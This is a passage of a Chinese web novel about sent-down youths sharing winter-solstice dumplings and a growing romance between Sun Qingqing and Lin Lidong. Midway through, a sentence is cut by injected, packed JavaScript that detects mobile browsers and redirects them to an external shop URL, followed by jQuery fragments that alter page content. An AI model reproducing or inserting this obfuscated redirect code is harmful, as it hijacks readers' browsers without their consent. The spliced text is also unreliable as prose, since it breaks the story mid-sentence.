冬至不端饺子碗，冻掉耳朵没人管。
村里大部分知青都是北方人，别说冬至这么重要的节日，平时家里有个大事小情都要包饺子，所以为数不多的几个南方知青也入乡随俗，会包饺子的包饺子，不会包的帮着在厨房打打下手。
从一大早就七手八脚地忙活起来，劈柴烧水，剁肉和馅，厨房里外都是一片热闹氛围，就算平时有什么相互看不惯的，难得佳节也都放下了。
知青们就包两种馅的，白菜猪肉和韭菜鸡蛋，自留地里还有什么新鲜蔬菜就都剁碎了一起加进去，每个饺子都包得鼓鼓囊囊的，保证人人都能吃饱。
周舒雨包的麦穗饺子最饱满，每个褶子都压得恰到好处，下锅绝不会煮散。孙青青头一回动手，看着她的拇指和食指交替往里推，就能把饺子馅严严实实包在里面，可是到自己手上就怎么都不行，不是这儿漏就是那儿破，勉强捏在一起也歪歪扭扭的不好看。
从不同角度学了好几次，最后的成果还是不满意，她最后只能无奈放弃：“舒雨，我还是不包了，不然我捏出来的这几个你还得重新返工，光浪费时间了。”
“少捏几个褶也行，就像这样，”周舒雨的手指只是调整了细微的角度，又给她示范出了新形状的饺子，像贝壳、像月牙，形状虽然简单，但整整齐齐码在一起还是很好看。
孙青青自认厨艺还行，她还是平时知青点做饭的主力，没想到今天会被饺子难倒，她看着周舒雨的动作，眼睛都瞪大了，还是没看懂她的手指是怎么挪动的。
“不行不行，这也太难学了，我还是去添柴烧火吧。”
要是平时，周舒雨大概会慢下来，手把手慢慢教她，但今天这个日子特殊，院子里这么几张嘴都还等着吃呢，万一包得不好，下锅煮漏了更麻烦，所以她也不强求孙青青必须学会，只笑着跟她说：“没事，那就一会儿等着吃。”
剩下的人都会包，梁川他们几个男同志就在旁边擀饺子皮，这边擀面杖咚咚咚地响，那边一盘一盘的饺子下锅，荤素分在两个锅里煮，盛出来的时候各捞一勺，保证每个人分到碗里的都差不多。
堂屋里的桌椅不宽，大家各自端着碗，三五成群坐在一起，围着饭桌上摆着的不同调料，有人喜欢光蘸醋，有人喜欢油辣子，有人喜欢泡着饺子汤，但总之味道都不错，饺子皮筋道，馅料有油分但是不腥，咬一口还有汤汁。
方焕从碗里夹起一个饺子，笑着说：“舒雨，不用尝我都知道这个是你包的。”
她喜欢把饺子最后封口的尾巴留长，不管多饱满的饺子看着都苗条不少，哪怕全都混在一个锅里，捞出来就知道哪个是她包的。
孙青青认真观察碗里的饺子，挑开了好几个对比形状，发现真跟他说的一样，夹起来一看就能知道，周舒雨包出来的就不一样。
周舒雨以前还想过要改改，但是每次到收口的，下意识还是会往外捏一点，后来索性不改了，有这么个印记也挺好的，就像现在没办法和家里人一起吃饺子，但是看见这个形状，就会想起对方。
“我妈就这么包，她手把手教的我，肯定包出来跟她一样。”
他们仨当了十几年的邻居，不论是平时蹭饭还是凑在一起过节，对各家的口味都太了解了，尝一口就知道是谁家调的馅。
梁川吃了几个猪肉饺子，总觉得有点意犹未尽，听周舒雨提到她妈妈，才突然想起来今年冬至差了什么：“以前方姨调的羊肉胡萝卜馅最好吃了，羊肉一点都不膻，我每年最惦记那一口。”
羊肉剁碎了包饺子，羊脊骨就慢慢熬汤，吃着饺子喝羊汤，每个小孩都能分到一节脊骨，慢慢啃骨头上附着的肉。
光是梁川提了这么一嘴，另外两个人的馋虫也跟着被唤醒了。
每逢佳节倍思亲，长这么大，这还是他们头一次没在家过冬至，哪怕他们已经井井有条地把节过起来，可是一想到家里的味道，心情还是忍不住低落。
下乡的知青心里都想家，只是默契地没有提，上山下乡是件光荣的事，柜子里还摆着光荣证，不能总是沉湎于小情小爱，这样说出来就是立场不正确。
方焕试图转移个话题，跟他说：“小秋家里包羊肉馅饺子，她前两天买羊肉了，她还说我们可以去蹭饭。”
梁川有话直说：“人家就客气两句，你还要真去？”
方焕的确没打算去，今天这个日子，他又不是林家亲戚，没名没分的，特意上门去蹭一顿饺子，实在不合适，别再让大队长误会知青们都吃不饱。
虽然心里清楚不能去，但他嘴上还不承认：“那不一样，跟你说这话是客气，跟我就不是。”
不过他们都没想到，知青里第一个吃上羊肉馅饺子的，竟然是孙青青。
饺子吃饱之后男女知青各自回屋休息，冬天实在太冷，屋里不烧炕都坐不住，女知青们坐在炕上织毛衣，前几年的旧毛衣把毛线拆下来，换个针法花样，又能改出一件新衣服，屋里一片安宁景象。
敲门声突然响起的时候，几个女知青相互对视，都在纳闷是谁来了，几个人眼里皆是迷茫。
周舒雨放下手里的织针，边往门边走边问：“谁啊？”
回答她的还是一连串咚咚咚的响声，门外像是还有男同志在清嗓子，不过还没开口，周舒雨已经开门看清外面的人了。
“林二哥，你怎么来了？”
林立东右手上拎着小半扇猪肉，朝周舒雨抬抬手，意思自己是来给他们送猪肉的。
“这不是冬至嘛，公社给知青们发的福利，今天一大早杀的猪，刚送到生产队，我赶紧给你们送来。”
中秋的时候也发过月饼，偶尔还会发点肥皂之类的生活用品，公社对这群年轻人还是很照顾的，周舒雨赶紧带着他往厨房走，打算直接把猪肉放厨房里，嘴上连声跟他道谢。
“你跟我们说一声，我们自己去领就好了，还麻烦二哥特意跑这一趟。”
她跟着林秋叫二哥，林立东也默认这个称呼，让她别跟自己客气：“这又不远，我想着趁早给你们送来，别耽误了你们包饺子。”
孙青青听见他的声音，也赶紧穿上鞋出来看看，快步跟在林立东身后，招呼都没打，直接伸手接过他左手上挂着的网兜。
网兜里装的是干粉条和白面，是队里给他们发的，刚刚公社开着车把猪肉送来，林建军想着，公社发这么大的福利，队里不能当铁公鸡，就添了点，刚好凑一起就能包饺子了。
手上的份量突然减轻，林立东下意识抓得更紧，把孙青青的指尖捏在手心里，暖暖的有点不对劲，一回头就看见她在冲自己笑。
孙青青跟他解释：“我就是想帮你拎着点。”
开口就带着几分不见外的熟稔。
“没事，这就几步路。”
林立东两只手都拿着东西，猪肉还挂着油腥，他就想离孙青青远点，别弄到她的衣服上，反而把走在右边的周舒雨挤到墙边。
周舒雨叹了口气，无奈地往后退了几步，让他俩走一排
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319795|193809||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，还小声地重复了一遍：“对啊，这就几步路。”
灶台上还摆着中午没吃完的饺子，一排一排码得整整齐齐，等着晚上再下锅。林立东大概环视过灶房里的陈设，东西不多但都井然有序，一看就知道是女同志们收拾的，这才是过日子的样子。
之所以要他亲自送猪肉过来，也是想来看看知青们过得怎么样，学校那边他也去过了，割了一块猪肉给刘芳老师留下，还剩下三十来斤，全都送来知青点，不能让他们连冬至都吃不上一口饺子，不利于队里人心安稳。
把猪肉和粉条给她们放好，林立东像是还不打算走，站在灶台旁边搓了搓手，又问：“你们今天都吃啥馅的啊？”
孙青青平日里内向又安静，这会儿在他面前一反常态，还没等周舒雨开口，她就抢着回答：“猪肉白菜和韭菜鸡蛋，菜都是我们自己种的，饺子是舒雨她们包的，我都不会。”
“你们那儿冬至是不是不吃饺子？”
“对，我们吃年糕，还有煮小馄饨，虽然都是皮包着馅，但是跟饺子不一样。”
“那你不会也很正常，不要多想，以后慢慢学，过年还有得包呢。”
“那你会吗？”
“我会，我家兄弟三个都会，都要一起干活，不过大嫂的手艺最好。”
“那等过年的时候我一定要学会，到时候也能帮舒雨她们分担点。”
两人你一言我一语，像是忽视了旁边还站着个人，周舒雨倒是有眼色，早早就看出来他俩之间的氛围不对劲，现在看来更像是在处对象了。
她自觉地退出厨房，给俩人留出独处的空间，还帮忙看了一眼男知青宿舍那边，确定不会有人出来打扰。她在院子里转了一圈，正打算回房间，又往厨房半掩着的门缝里扫了一眼，正好瞥见林立东从怀里掏出个饭盒来，外面还包着层严严实实的棉布，生怕里面的热乎气散了。
他把饭盒塞进孙青青手里，像是还有点不好意思地开口：“这是我家包的饺子，想带给你尝个味道，羊肉馅的，吃了暖和好过冬。”
想到她们中午已经吃过了，他又补充了一句：“你现在要是吃不下，就放蒸锅里温着，饿了再吃。”
这不是孙青青头回收他的东西，平时也会给他送自己纳的鞋垫作为回礼，或者帮他缝个衣服、打个补丁，两人的交往一直都是有来有往，从来不是林立东单方面付出，所以她现在也不像刚认识那会儿拘谨羞涩，可接过饭盒的时候还是有点犹豫。
“只给我一个人吗？”
她也不知道自己为什么会问出这句话，心里既有吃独食的难为情，也想搞清楚一个问题——
是队里送给知青的，还是你送给我的？
林立东倒是答得很果断：“对，给你的，就这一份。”
就这一份，只送给你一个人，至于要不要分给别人吃，你自己决定。
林家就算有余粮，也不可能管所有知青的饺子，其实林立东也知道自己这么做不合适，万一被别的知青撞见，可能还会给家里带来麻烦。
可这是孙青青下乡的第一个冬至，他就是想让她吃口好的。
孙青青明白他的意思，又问他：“这是你包的吗？”
林家的饺子都在一个大锅里煮出来，没有什么个人特色，煮熟了就分不清是谁的手艺，尤其他们兄弟俩，捏出来都是如出一辙的大褶子。
林立东如实回答她：“不知道，但是我帮忙和的馅。”
“那我可得好好尝尝。”